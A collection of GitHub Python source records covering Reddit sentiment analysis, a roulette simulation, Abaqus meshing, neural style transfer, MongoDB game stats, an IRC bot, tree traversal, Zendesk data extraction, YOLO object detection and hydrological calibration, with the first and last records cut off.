oldcm[currency][\"Mentions_Name\"] + cm[newcurrency][\"Mentions_Name\"]\n                        updatedcurrency[\"Mentions_Sym\"] = oldcm[currency][\"Mentions_Sym\"] + cm[newcurrency][\"Mentions_Sym\"]\n                        updatedcm.append(updatedcurrency)\n                        cm.pop(newcurrency)\n\n            # Append all newly found users to updatedous list\n            for newcurrency in cm:\n                updatedcm.append(newcurrency)\n\n            j = json.dumps(updatedcm)\n            return json.loads(j)\n        return json.loads(cm)\n         \n    def CleanText(self, text):\n        return ' '.join(re.sub(\"(@[A-Za-z0-9]+)|([^0-9A-Za-z \\t])|(\\w+:\\/\\/\\S+)\", \" \", str(text)).split())\n\n    def AnalyseSentiment(self, text):\n        analysis = self.CleanText(text)\n        return self.afinn.score(analysis)\n\n    def CleanseData(self, source, posts):\n        #Change date format\n        source[\"Date\"] = pd.to_datetime(source[\"Date\"],unit='s')\n        #Create df object\n        if posts:\n            data = {\"Author\": source[\"Author\"], \"Text\": source[\"Title\"], \"Date\": source[\"Date\"], \"Score\": source[\"Score\"] }  \n        else:\n            data = {\"Author\": source[\"Author\"], \"Text\": source[\"Body\"], \"Date\": source[\"Date\"], \"Score\": source[\"Score\"] }\n        #Create df\n        data = pd.DataFrame(data=data)\n        #Convert datetime to date\n        data[\"Date\"] = data[\"Date\"].dt.strftime('%Y-%m-%d %H:00:00')\n        #Remove URLs  \n        data[\"Text\"] =  data['Text'].str.replace(r'http\\S+', '', case=False)\n        #Remove Na's\n        data = data.dropna(how='any',axis=0)\n        #Remove punctuation\n        data[\"Text\"] = data[\"Text\"].str.replace('[^\\w\\s]','')\n        #To lower case\n        data['Text'] = data.Text.str.lower()\n        #Remove Stop words\n        stop = self.stopwords['word'].tolist()\n        data[\"Text\"] = data[\"Text\"].apply(lambda x: ' '.join([word for word in x.split() if word not in stop]))\n        return data\n","repo_name":"dylankilkenny/FinalYearProject","sub_path":"prod/reddit/RedditAnalyser.py","file_name":"RedditAnalyser.py","file_ext":"py","file_size_in_byte":16684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"14131703758","text":"import random\ndata = 0\nfirsttotal = 100\nfirstbet = 1\nbet = firstbet\n\n# print(f'\\nyou start with {total}\\n')\n\nfor games in range(100):\n\n    total = firsttotal\n\n    for i in range(5):\n        # print('initial total',total)\n        # print('bet', bet)\n        total -= bet\n        # print('total',total)\n        flip = random.randint(0,37)\n        # print('roll',flip)\n        if flip == 0 or flip == 37:\n            bet = 2*bet\n            # print('ZERO')\n        elif flip%2 == 0:\n            # print('EVEN')\n            total += 2*bet\n            bet = firstbet\n        elif flip%2 == 1:\n            # print('ODD')\n            bet = 2*bet\n        else:\n            # print('ERROR')\n            break\n        # print('final total',total,'\\n')\n        if total < 0:\n            # print('You broke son')\n            total = 0\n            break\n    \n    # print('final total',total-100,'\\n')\n    \n    # data.append(total)\n    data += (total-100)\n\nprint(data)\n# print(sum(data)/len(data))","repo_name":"clandadio/AeroPython","sub_path":"gamble1.py","file_name":"gamble1.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"71393743838","text":"import math\nfrom abaqus import *\nfrom abaqusConstants import *\nfrom caeModules import *\n\n# input parameters\nfooting_radius = 1.5\ncae_name = 'spudcan_soil_half_cylinder_3_5R'\n\ncy_radius = 3.5 * footing_radius\ncy_top = 0.5 * footing_radius\ncy_depth = 4.0 * footing_radius\n\nelem_size = 0.25 * footing_radius\n\n# build cae model\nhalf_sqrt_2 = 0.5*math.sqrt(2.0)\ncy_len = cy_top + cy_depth\n\ncy_md = mdb.models['Model-1']\n\n# Form cylinder by extrusion and create part\ncy_skt = cy_md.ConstrainedSketch(name='__profile__', sheetSize=100.0)\ncy_geo = cy_skt.geometry\ncy_skt.ArcByCenterEnds(center=(0.0, 0.0), point1=(cy_radius, 0.0), point2=(-cy_radius, 0.0), direction=COUNTERCLOCKWISE)\ncy_skt.Line(point1=(-cy_radius, 0.0), point2=(cy_radius, 0.0))\ncy_prt = cy_md.Part(name='Part-1', dimensionality=THREE_D, type=DEFORMABLE_BODY)\ncy_prt.BaseSolidExtrude(sketch=cy_skt, depth=cy_len)\ndel cy_skt\n\ncy_prt_cells = cy_prt.cells\n\n# z partitions\ncy_prt.DatumAxisByPrincipalAxis(principalAxis = ZAXIS)\ncy_prt.DatumPointByCoordinate(coords = (0.0, 0.0, cy_depth))\ndatum_keys = cy_prt.datums.keys()\nz_axis = cy_prt.datums[datum_keys[0]] # z axis\nzpt1 = cy_prt.datums[datum_keys[1]] # z point 1\n# z cut 1\ncl_tmp = cy_prt_cells.getByBoundingBox(xMin = -cy_radius*1.01, xMax = cy_radius*1.01, \\\n    yMin = -cy_radius*0.01, yMax = cy_radius*1.01, zMin = -cy_len*0.01, zMax = cy_len*1.01)\ncy_prt.PartitionCellByPlanePointNormal(point = zpt1, normal = z_axis, cells = cl_tmp)\n\n# mesh the part\ncy_prt.seedPart(size = elem_size, deviationFactor = 0.1, minSizeFactor = 0.1)\nall_cells = cy_prt_cells.getByBoundingBox(xMin = -cy_radius*1.01, xMax = cy_radius*1.01, \\\n    yMin = -cy_radius*0.01, yMax = cy_radius*1.01, zMin = -cy_len*0.01, zMax = cy_len*1.01)\ncy_prt.setMeshControls(regions = all_cells, elemShape = TET, technique = FREE, allowMapped = False)\nelem_type3 = mesh.ElemType(elemCode = C3D4, elemLibrary = STANDARD, secondOrderAccuracy = OFF, distortionControl = DEFAULT)\nac_set = cy_prt.Set(name = 'AllCells', cells = all_cells)\ncy_prt.setElementType(regions = ac_set, elemTypes = (elem_type3, ))\n# generate mesh\ncy_prt.generateMesh()\n\nassembly = cy_md.rootAssembly\nassembly.DatumCsysByDefault(CARTESIAN)\nassembly.Instance(name = 'Inst-1', part = cy_prt, dependent = ON)\n\njob = mdb.Job(name = cae_name, model = 'Model-1',\n    description = '', type = ANALYSIS, atTime = None, waitMinutes = 0,\n    waitHours = 0, queue = None, memory = 90, memoryUnits = PERCENTAGE,\n    getMemoryFromAnalysis = True, explicitPrecision = SINGLE,\n    nodalOutputPrecision = SINGLE, echoPrint = OFF, modelPrint = OFF,\n    contactPrint = OFF, historyPrint=OFF, userSubroutine = '', scratch = '',\n    resultsFormat = ODB, parallelizationMethodExplicit = DOMAIN, numDomains = 1,\n    activateLoadBalancing = False, multiprocessingMode = DEFAULT, numCpus = 1)\njob.writeInput(consistencyChecking = OFF)\n\nmdb.saveAs(pathName = './' + cae_name + '.cae')\n","repo_name":"COFS-UWA/MPM3D","sub_path":"Asset/spudcan_soil_half_cylinder_3_5R.py","file_name":"spudcan_soil_half_cylinder_3_5R.py","file_ext":"py","file_size_in_byte":2907,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"51"}
+{"seq_id":"38455020008","text":"import os\nfrom torchvision.transforms.functional import normalize\nimport torch\nimport torchvision.models as models\nimport torchvision.transforms as transforms\nfrom PIL import Image\nfrom PIL import ImageOps\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport myconfig as config\n\n\ndevice = \"cuda\" if torch.cuda.is_available() else \"cpu\"\nglobal imgWidth\nimgwidth = 600 if device == \"cuda\" else 640\nglobal imgHeight \nimgHeight = 600 if device == \"cuda\" else 480\n\nvgg_model = models.vgg19(pretrained=True).features.to(device).eval()\nvggNormalizationMean = torch.tensor(\n\t[0.485, 0.456, 0.406]).to(device).view(-1, 1, 1)\nvggNormalizationStd = torch.tensor(\n\t[0.229, 0.224, 0.225]).to(device).view(-1, 1, 1)\n\nvgg_default_content_layers = ['relu4_2']\nvgg_default_style_layers = [\n\t'relu1_1', 'relu2_1', 'relu3_1', 'relu4_1', 'relu5_1']\nstyle_layer_weights = {'relu1_1' : 1, 'relu2_1' : 1, 'relu3_1' : 1, 'relu4_1' : 1, 'relu5_1' : 1}\n\nlr = config.lr\nsteps = config.steps\nstyle_weight = config.style_weight\ncontent_weight = config.content_weight\nnumupdate = config.numupdates\nnumimg = config.numimg\n\n\n\nloader = transforms.Compose([\n\ttransforms.ToTensor()\n]\n)\nunloader = transforms.ToPILImage()\n\n\ndef imageLoader(imageName):\n\timage = Image.open(imageName)\n\timage = ImageOps.fit(image, (imgWidth, imgHeight))\n\timage = loader(image).unsqueeze(0)\n\treturn image.to(device)\n\n\ndef imfit(input):\n\timage = input.to(device).clone()\n\timage = image.squeeze(0)\n\timage = image.data.clamp(0, 1)\n\timage = unloader(image)\n\treturn image\n\ndef create_results_folder(pathname) :\n\tpath = \"/\" + pathname\n\tdir = os.getcwd()\n\tresults_folder = dir + path\n\tos.makedirs(results_folder)\n\tos.makedirs(results_folder + \"/Video\")\n\treturn results_folder\n\ndef create_noise_img(width, height) :\n\tnoise = 255*torch.rand(1,3,height, width).to(device)\n\tnoise = noise.int()\n\tnoise = noise.float()\n\treturn noise\n\nclass Normalizer(nn.Module):\n\tdef __init__(self):\n\t\tsuper().__init__()\n\t\tself.mean = torch.tensor((0.485, 0.456, 0.406)).view(1, 3, 1, 1).to(device)\n\t\tself.std = torch.tensor((0.229, 0.224, 0.225)).view(1, 3, 1, 1).to(device)\n\n\tdef forward(self, x):\n\t\treturn (x - self.mean) / self.std\n\n\nclass StyleLoss(nn.Module):\n\tdef __init__(self, target):\n\t\tsuper().__init__()\n\t\tself.target = target.detach()\n\t\tself.loss = None\n\n\tdef gram(self, input):\n\t\tb, c, h, w = input.size()\n\t\tfeatures = input.view(b*c, h*w)\n\t\tresult = torch.mm(features, features.t())\n\t\treturn result.div(b*c*h*w)\n\n\tdef forward(self, input):\n\t\ttarget_gram = self.gram(self.target)\n\t\tinput_gram = self.gram(input)\n\t\tself.loss = F.l1_loss(input_gram, target_gram)\n\t\treturn input\n\n\nclass ContentLoss(nn.Module):\n\tdef __init__(self, target):\n\t\tsuper().__init__()\n\t\tself.target = target.detach()\n\t\tself.loss = None\n\n\tdef forward(self, input):\n\t\tself.loss = F.l1_loss(self.target, input)\n\t\treturn input\n\n\n\n\ndef get_model_and_losses(vgg, content_image, style_image, content_layers, style_layers):\n\tmodel = nn.Sequential(Normalizer())\n\tcontent_losses, style_losses = [], []\n\tc_layers_copy, s_layers_copy = content_layers.copy(), style_layers.copy()\n\n\ti = j = 1\n\tfor k, (name, layer) in enumerate(vgg.named_children()):\n\t\tif isinstance(layer, nn.Conv2d):\n\t\t\tprint(layer)\n\t\t\tname = \"conv{}_{}\".format(i, j)\n\t\t\tj += 1\n\t\telif isinstance(layer, nn.ReLU):\n\t\t\tname = \"relu{}_{}\".format(i, j)\n\t\t\tlayer = nn.ReLU(inplace=False)\n\t\telif isinstance(layer, nn.MaxPool2d):\n\t\t\tname = \"avgpool{}\".format(i)\n\t\t\tlayer = nn.AvgPool2d(kernel_size=2, stride=2)\n\t\t\tj = 0\n\t\t\ti += 1\n\t\tmodel.add_module(name, layer)\n\t\tif name in c_layers_copy:\n\t\t\tcontent_loss = ContentLoss(model(content_image))\n\t\t\tmodel.add_module(\"contentloss{}\".format(i), content_loss)\n\t\t\tcontent_losses.append(content_loss)\n\t\t\tc_layers_copy.remove(name)\n\t\telif name in s_layers_copy:\n\t\t\tstyle_loss = StyleLoss(model(style_image))\n\t\t\tmodel.add_module(\"styleloss{}\".format(i), style_loss)\n\t\t\tstyle_losses.append(style_loss)\n\t\t\ts_layers_copy.remove(name)\n\t\tif len(c_layers_copy) == 0 and len(s_layers_copy) == 0:\n\t\t\tbreak\n\n\treturn model, content_losses, style_losses\n\n\ndef run_nst(content_image, style_image, input_image, iter, content_num, pathname, interp):\n\t# initialize model\n\tnst, content_losses, style_losses = get_model_and_losses(\n\t\tvgg_model, content_image, style_image, vgg_default_content_layers, vgg_default_style_layers)\n\tnst.requires_grad_(False)\n\toptimizer = optim.Adam([input_image.requires_grad_(True)], lr)\n\tname = \"\"\n\titer *= numimg\n\tfiles = []\n\t# training loop\n\tfor step in range(steps):\n\t\tinput_image.data.clamp(0, 1)\n\t\tnst(input_image)\n\t\tcontent_loss = style_loss = 0\n\t\tfor item in content_losses:\n\t\t\tcontent_loss += content_weight * item.loss\n\t\tfor item in style_losses:\n\t\t\tstyle_loss += style_weight * item.loss\n\t\ttotal_loss = style_loss + content_loss\n\t\toptimizer.zero_grad()\n\t\ttotal_loss.backward()\n\t\toptimizer.step()\n\t\tif step % (steps // numupdate) == 0:\n\t\t\tprint(\"Step {}/{} - Total loss = {}, Style loss = {}, Content loss = {}\".format(\n\t\t\t\tstep, steps, total_loss, style_loss, content_loss))\n\t\t\t\n\t\t\n\t\tif step % (steps // numimg) == 0:\n\t\t\tif interp == True: \n\t\t\t\tcurrent_image = imfit(input_image.to(device).clone())\n\t\t\t\tframe = iter + (step // (steps // numimg))\n\t\t\t\tname = pathname + \"/Temp{}-0.jpg\".format(frame + 1)\n\t\t\t\tcurrent_image = current_image.save(name)\n\t\t\t\tfiles.append(name)\n\t\tif step + 1 == steps :\n\t\t\tif interp == False:\n\t\t\t\tcurrent_image = imfit(input_image.to(device).clone())\n\t\t\t\tname = pathname + \"/Style{}{}-0.jpg\".format(content_num, iter + 1)\n\t\t\t\tcurrent_image = current_image.save(name)\n\t\t\t\tfiles.append(name)\n\n\n\n\n\t\t\t\n\treturn files\n\n\n\ndef run_styles(temp_folder, styles, content) :\n\tout_files = []\n\tfor i in range(len(content)) :\n\t\timg_for_dim = Image.open(content[i])\n\t\tratio = img_for_dim.width / img_for_dim.height\n\t\tglobal imgWidth \n\t\timgWidth = 400\n\t\tglobal imgHeight \n\t\timgHeight = int(imgWidth / ratio // 1)\n\t\tfor j in range(len(styles)) :\n\t\t\tfile = styles[j]\n\t\t\tstyle_image = imageLoader(file)\n\t\t\tcontent_image = imageLoader(content[i])\n\t\t\tinput_image = content_image.clone().to(device)\n\t\t\tout = run_nst(content_image, style_image, input_image, j, i, temp_folder, False)\n\t\t\tout_files.extend(out)\n\treturn out_files\n\ndef run_maps(temp_folder, files, width, height) :\n\timgHeight = height\n\timgWidth = width\n\tout_files = []\n\tfor i in range(len(files)) :\n\t\tfile = files[i]\n\t\tstyle_image = imageLoader(file)\n\t\tcontent_image = imageLoader(file)\n\t\tinput_image = torch.randn((1,3,imgHeight,imgWidth))\n\t\tout = run_nst(content_image, style_image, input_image, i, temp_folder, False)\n\t\tout_files.extend(out)\n\treturn out_files\n\ndef run_interp(temp, files) :\n\tnew_list = []\n\tnumfiles = len(files)\n\tfor i in range(numfiles) :\n\t\tnew_list.append(files[i])\n\t\tif i == numfiles - 1 :\n\t\t\tim1 = imageLoader(files[i])\n\t\t\tim2 = imageLoader(files[0])\n\t\telse :\n\t\t\tim1 = imageLoader(files[i])\n\t\t\tim2 = imageLoader(files[i + 1])\n\t\tcontent_image = im2.clone().to(device)\n\t\tinput_image = im1.clone().to(device)\n\t\timgnames = run_nst(content_image, content_image, input_image, i, temp, True)\n\t\tfor name in imgnames :\n\t\t\tnew_list.append(name)\n\n\n\treturn new_list","repo_name":"Wolfy319/Automated-Neural-Style-Transfer","sub_path":"NST.py","file_name":"NST.py","file_ext":"py","file_size_in_byte":7088,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"70896155680","text":"from datetime import datetime\nimport time\nfrom logging import getLogger\nfrom os import environ\nfrom os.path import exists\nfrom urllib.parse import quote as pq\nimport pymongo as pymongo\nfrom bson import ObjectId\nfrom dotenv import load_dotenv\nfrom pymongo.server_api import ServerApi\nfrom typing import List, Dict, TYPE_CHECKING\n\nfrom utils.timer import RepeatedTimer\n\nBACKLOGLIMIT = 5  # change to 25 or 100 in prod\n\nif TYPE_CHECKING:\n    from utils.foodle import Foodle\n\n\nclass Database:\n    def __init__(self, password, app: 'Foodle'):\n        self.app = app\n        if exists('../.env'):\n            load_dotenv()  # mongo db client\n        self.client = pymongo.MongoClient(\n            f\"mongodb+srv://Jason:{pq(str(password))}@foodle.yiz9a.mongodb.net/{pq(str(environ.get('database')))}?retryWrites=true&w=majority\",\n            server_api=ServerApi('1'))\n        # the databases\n        self.stats = self.client.stats\n        self.words = self.client.words\n        self.games = self.client.games\n        # logger\n        self.log = getLogger(__name__)\n\n        # clear this after it's over the specified BACKLOGLIMIT, so we don't overuse atlas\n        self.WinBacklog: List[Dict] = []\n        self.LoseBacklog: List[Dict] = []\n        self.WordObjID: str = ''\n        self.RequestsObjID: str = ''\n        # load the obj ids\n        self.SetOldDataIDS()\n\n        self.SendRequestIN = 0  # see self.CheckBacklogs\n        self.WordLogs = self.words[datetime.today().strftime('%Y-%m-%d')].find_one(ObjectId(self.WordObjID))\n\n    def win(self, mode: str, word: str, guesses: int):\n        mode = mode.lower()\n        data = {'time': int(time.time()), 'mode': mode, 'word': word, 'guesses': str(guesses)}\n        self.WinBacklog.append(data)\n        self.CheckBacklogs()\n\n    def lose(self, mode: str, word: str, guesses: int, conceded: bool = False):\n        data = {'time': int(time.time()), 'mode': mode, 'word': word, 'guesses': str(guesses), 'conceded': conceded}\n        self.LoseBacklog.append(data)\n        self.CheckBacklogs()\n\n    def concede(self, mode: str, word: str, guesses: int):\n        self.lose(mode, word, guesses, conceded=True)\n\n    def LogRequest(self, path: str, request_path_code: int = 200) -> None:\n        self.app.stats.LogRequest(path, request_path_code)\n\n    def LogWord(self, word):\n        if word not in self.WordLogs.keys():\n            self.WordLogs[word] = 0\n        self.WordLogs[\n            word] += 1  # self.CheckBacklogs()   no need as its only called to the /definition/ path and that allready runs Log Request\n\n    def _SendWins(self):\n        self.log.info(f'Sending {BACKLOGLIMIT} wins to the database')\n        self.stats['wins'].insert_many(self.WinBacklog)\n        self.WinBacklog = []\n\n    def _SendLosses(self):\n        self.log.info(f'Sending {BACKLOGLIMIT} losses to the database')\n        self.stats['losses'].insert_many(self.LoseBacklog)\n        self.LoseBacklog = []\n\n    def SetOldDataIDS(self):\n        \"\"\" So the db doesn'ttttt have to re-query the database every time it wants to update the requests  \"\"\"\n        today: str = datetime.today().strftime('%Y-%m-%d')\n        wdb = self.words[today]\n        try:\n            self.WordObjID = str(wdb.find_one()['_id'])\n        except TypeError:\n            self.WordObjID = wdb.insert_one({}).inserted_id\n\n    def _SendWordData(self):\n        self.log.info(f'Sending {BACKLOGLIMIT} Words\\'s data to the database')\n        rdbd = self.words[datetime.today().strftime('%Y-%m-%d')]\n        rdbd.find_one_and_replace({\"_id\": ObjectId(self.WordObjID)}, self.WordLogs)\n\n    def CheckBacklogs(self):\n        self.SendRequestIN += 1\n        if len(self.WinBacklog) >= BACKLOGLIMIT:\n            self._SendWins()\n            self.WinBacklog = []\n        if len(self.LoseBacklog) >= BACKLOGLIMIT:\n            self._SendLosses()\n            self.LoseBacklog = []\n        if int(self.SendRequestIN) >= BACKLOGLIMIT:\n            self.SendRequestIN = 0\n            # self._SendRequestData()\n            self._SendWordData()\n","repo_name":"JasonLovesDoggo/foodle-api","sub_path":"utils/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":4018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"35174893229","text":"def message(pryme, message, source, target):\n    if source in pryme.adminNick:\n        if pryme.nick in message.pop(0):\n            action = message.pop(0)\n            if \"join\" in action:\n                channel = message.pop(0)\n                pryme.debug(\"Joining channel: \" + channel)\n                pryme.server.join(channel)\n            \n            if \"part\" in action:\n                pryme.debug(\"Leaving channel: \" + target)\n                pryme.server.part(target)","repo_name":"YarekTyshchenko/pryme","sub_path":"joiner.py","file_name":"joiner.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"51"}
+{"seq_id":"26702904969","text":"#层序遍历。最适合的是使用队列结构进行广度优先搜索BFS，也可以进行深度优先搜索，记录好层数就行。\n#BFS\n#超74%\n\"\"\"\n# Definition for a Node.\nclass Node:\n    def __init__(self, val=None, children=None):\n        self.val = val\n        self.children = children\n\"\"\"\nclass Solution:\n    def levelOrder(self, root: 'Node') -> List[List[int]]:\n        if root is None: return []\n        queue, res = [root,], []\n        while queue:\n            sub_res = []\n            for _ in range(len(queue)):\n                node = queue.pop(0)\n                sub_res.append(node.val)\n                for child in node.children:\n                    queue.append(child)\n            res.append(sub_res)\n        return res\n\n\n#DFS\n#超74%\n\"\"\"\n# Definition for a Node.\nclass Node:\n    def __init__(self, val=None, children=None):\n        self.val = val\n        self.children = children\n\"\"\"\nclass Solution:\n    def levelOrder(self, root: 'Node') -> List[List[int]]:\n        res = []\n        def dfs(root, depth):\n            if not root: return\n            if len(res) == depth:\n                res.append([])\n            res[depth].append(root.val)\n            for ch in root.children:\n                dfs(ch, depth + 1)\n        dfs(root, 0)\n        return res\n\n\n\n","repo_name":"xiaoyu1233/algorithm016","sub_path":"Week_02/leetcode429.N叉树的层序遍历.py","file_name":"leetcode429.N叉树的层序遍历.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"51"}
+{"seq_id":"19392719597","text":"from ewah.operators.base import EWAHBaseOperator\nfrom ewah.constants import EWAHConstants as EC\n\nfrom ewah.hooks.base import EWAHBaseHook as BaseHook\n\nfrom datetime import datetime, timedelta\n\nfrom requests.auth import HTTPBasicAuth\nimport requests\nimport json\nimport time\n\n\nclass EWAHZendeskOperator(EWAHBaseOperator):\n\n    _NAMES = [\"zendesk\"]\n\n    _ACCEPTED_EXTRACT_STRATEGIES = {\n        EC.ES_FULL_REFRESH: False,\n        EC.ES_INCREMENTAL: True,\n    }\n\n    _base_url = \"https://{support_url}.zendesk.com/{endpoint}\"\n\n    def __init__(self, support_url, resource, auth_type, *args, **kwargs):\n\n        self._accepted_resources = {\n            \"tickets\": {\n                \"function\": self.execute_incremental_cursor_based,\n                \"datetime_field\": \"updated_at\",\n            },\n            \"ticket_audits\": {\n                \"function\": self.execute_incremental_cursor_based,\n                \"datetime_field\": \"created_at\",\n            },\n            \"ticket_metric_events\": {\n                \"function\": self.execute_incremental_time_based,\n            },\n            \"users\": {\n                \"function\": self.execute_incremental_time_based,\n            },\n            \"ticket_fields\": {\n                \"function\": self.get_custom_ticket_fields,\n                \"drop_and_replace\": True,\n            },\n        }\n\n        if not resource in self._accepted_resources.keys():\n            raise Exception('resource \"{0}\" not supported!'.format(resource))\n\n        if not auth_type in [\"basic_auth\"]:\n            raise Exception(\"auth_type must be basic_auth!\")\n\n        kwargs[\"primary_key\"] = kwargs.get(\"primary_key\", \"id\")\n\n        if self._accepted_resources[resource].get(\"drop_and_replace\"):\n            kwargs[\"extract_strategy\"] = EC.ES_FULL_REFRESH\n\n        # API data is delayed by about 60s according to official docs\n        kwargs[\"wait_for_seconds\"] = max(kwargs.get(\"wait_for_seconds\", 0), 70)\n\n        super().__init__(*args, **kwargs)\n\n        self.support_url = support_url\n        self.resource = resource\n        self.auth_type = auth_type\n\n    def ewah_execute(self, context):\n        self.z_data_from = self.make_unix_datetime(self.data_from)\n        self.z_data_until = self.make_unix_datetime(self.data_until)\n\n        conn = self.source_conn\n        if self.auth_type == \"basic_auth\":\n            self.auth = HTTPBasicAuth(conn.login, conn.password)\n        else:\n            raise Exception(\"auth_type not implemented!\")\n\n        self._metadata.update({\"support_url\": self.support_url})\n\n        # run correct execute function\n        return self._accepted_resources[self.resource][\"function\"](context, self)\n\n    def make_unix_datetime(self, dt):\n        return str(int(time.mktime(dt.timetuple())))\n\n    def get_custom_ticket_fields(_, context, self):\n        url = self._base_url.format(\n            support_url=self.support_url,\n            endpoint=\"api/v2/ticket_fields.json\",\n        )\n        req = requests.get(url, auth=self.auth)\n        if not req.status_code == 200:\n            raise Exception(\n                \"Error {1} when calling Zendesk API: {0}\".format(\n                    req.text,\n                    str(req.status_code),\n                )\n            )\n        data = json.loads(req.text)[\"ticket_fields\"]\n        self.upload_data(data)\n\n    def execute_incremental_cursor_based(_, context, self):\n        if not self.resource in [\"tickets\", \"ticket_audits\"]:\n            raise Exception(\"cursor-based load not implemented!\")\n\n        if self.resource == \"tickets\":\n            endpoint = \"api/v2/incremental/tickets/cursor.json\"\n            params = {\n                \"start_time\": self.z_data_from,\n                \"include\": \"metric_sets\",\n            }\n            response_resource = \"tickets\"\n        elif self.resource == \"ticket_audits\":\n            endpoint = \"api/v2/ticket_audits.json\"\n            params = {\n                \"start_time\": self.z_data_from,\n            }\n            response_resource = \"audits\"\n\n        datetime_field = self._accepted_resources[self.resource]\n        datetime_field = datetime_field[\"datetime_field\"]\n\n        url = self._base_url.format(\n            support_url=self.support_url,\n            endpoint=endpoint,\n        )\n\n        first_call = True\n        while first_call or req.status_code == 200:\n            first_call = False\n\n            self.log.info(\"Requesting a page of data...\")\n            req = requests.get(url, params=params, auth=self.auth)\n            response = json.loads(req.text)\n            if req.status_code == 200:\n                data = response[response_resource]\n                if data:\n                    last_updated_at = datetime.strptime(\n                        data[-1][datetime_field],\n                        \"%Y-%m-%dT%H:%M:%SZ\",\n                    )\n                    self.upload_data(data)\n                if (\n                    response.get(\"end_of_stream\")\n                    or last_updated_at > self.load_data_until\n                ):\n                    break\n                params = {\"cursor\": response.get(\"after_cursor\")}\n\n        if not req.status_code == 200:\n            raise Exception(\n                \"Error {1} when calling Zendesk API: {0}\".format(\n                    req.text,\n                    str(req.status_code),\n                )\n            )\n\n    def execute_incremental_time_based(_, context, self):\n\n        url = self._base_url.format(\n            **{\n                \"support_url\": self.support_url,\n                \"endpoint\": \"api/v2/incremental/{0}.json\".format(self.resource),\n            }\n        )\n\n        params = {\n            \"start_time\": self.z_data_from,\n        }\n\n        # Time-based incremental exports, run the first, the paginate!\n        self.log.info(\n            \"Calling Zendesk api.\\nurl: {0}\\nparams:{1}\".format(\n                url,\n                str(params),\n            )\n        )\n        r = requests.get(url, params=params, auth=self.auth)\n        data = json.loads(r.text)\n        while (\n            r.status_code == 200\n            and not data.get(\"end_of_stream\")\n            and data.get(\"end_time\")\n            and data.get(\"end_time\") <= int(self.z_data_until)\n        ):\n            self.upload_data(data[self.resource])  # uploads previous request\n            self.log.info(\"Requesting next page of data...\")\n            r = requests.get(data[\"next_page\"], auth=self.auth)  # new request\n            data = json.loads(r.text)\n\n        if not r.status_code == 200:\n            raise Exception(\n                \"Error {1} when calling Zendesk API: {0}\".format(\n                    r.text,\n                    str(r.status_code),\n                )\n            )\n\n        # upload final request\n        self.upload_data(data[self.resource])\n","repo_name":"rribeirosellerx/ewah","sub_path":"ewah/operators/zendesk.py","file_name":"zendesk.py","file_ext":"py","file_size_in_byte":6773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"51"}
+{"seq_id":"74088757598","text":"import cv2\r\n\r\nConf_threshold = 0.4\r\nNMS_threshold = 0.4\r\n\r\nclass_name = []\r\nwith open('classes.txt', 'r') as f:\r\n    class_name = [cname.strip() for cname in f.readlines()]\r\n    # print(class_name)\r\n\r\nnet = cv2.dnn.readNet('yolov4-tiny.weights', 'yolov4-tiny.cfg')\r\n\r\nmodel = cv2.dnn_DetectionModel(net)\r\nmodel.setInputParams(size=(416, 416), scale=1/255, swapRB=True)\r\n\r\ncap = cv2.VideoCapture('output.avi')\r\nwhile True:\r\n    ret, frame = cap.read()\r\n    if not ret:\r\n        break\r\n    classes, scores, boxes = model.detect(frame, Conf_threshold, NMS_threshold)\r\n\r\n    for (classid, score, box) in zip(classes, scores, boxes):\r\n        if classid == 2:\r\n            # print(classid)\r\n            label = \"%s : %.2f\" % (class_name[classid], round(score, 2))  # Round to 2 decimal places\r\n            cv2.rectangle(frame, box, (255, 255, 255), 1)  # Green bounding box\r\n            cv2.putText(frame, label, (box[0], box[1]+10),\r\n            cv2.FONT_HERSHEY_COMPLEX, 0.3, (0, 255, 0), 1)  # Green text\r\n            cv2.imshow('frame', frame)\r\n    key = cv2.waitKey(1)\r\n    if key == ord('q'):\r\n        break\r\n\r\ncap.release()\r\ncv2.destroyAllWindows()\r\n","repo_name":"SohailWarraich/objectDetection","sub_path":"objectDetectionTest.py","file_name":"objectDetectionTest.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"20581748018","text":"import pandas as pd\r\nimport numpy as np\r\nimport math\r\nfrom statistics import mean\r\nimport scipy.optimize as opt\r\n\r\nframe = pd.DataFrame()\r\npath_par = r'dados\\parametros_de_entrada.csv'\r\nparametros = pd.read_csv(path_par,float_precision='high')\r\n\r\nA = parametros.loc[0,'Valores']\r\n#estimativas iniciais das variáveis de decisão\r\nx0 = np.zeros(3)\r\nx0[0]= parametros.loc[1,'Valores'] #Ks\r\nx0[1]= parametros.loc[3,'Valores'] #p\r\nx0[2]= parametros.loc[4,'Valores'] #SUBmax\r\n\r\nb = parametros.loc[2,'Valores'] #b = 5/3 Parâmetro não calibrável\r\nT = parametros.loc[6,'Valores'] # intervalo de tempo em segundos\r\nn = parametros.loc[7,'Valores'] #n\r\nc = parametros.loc[8,'Valores'] #c\r\nBe = parametros.loc[9,'Valores'] #B - largura equivalente\r\nLt = parametros.loc[10,'Valores'] #Comprimento do rio principal até o ponto estudado\r\nI = parametros.loc[11,'Valores'] #Inclinação do rio\r\na = parametros.loc[12,'Valores'] #<--multiplicador da taxa de evapotranspiração a extrair do solo\r\n\r\nk = (T/n)*((c**2*A**2/Be**2/Lt**5)**(1/3))*I**0.5\r\n\r\n#Ler os resultados estatisticos\r\nest = pd.read_csv(r'resultados\\Resultados_estatisticos.csv')\r\n\r\n#Ler o intervalo correspondente ao Nash máximo\r\nn_inter = est.loc[est['Nash'] == max(est['Nash']),'Unnamed: 0']\r\n\r\n#Ler o arquivo em que se 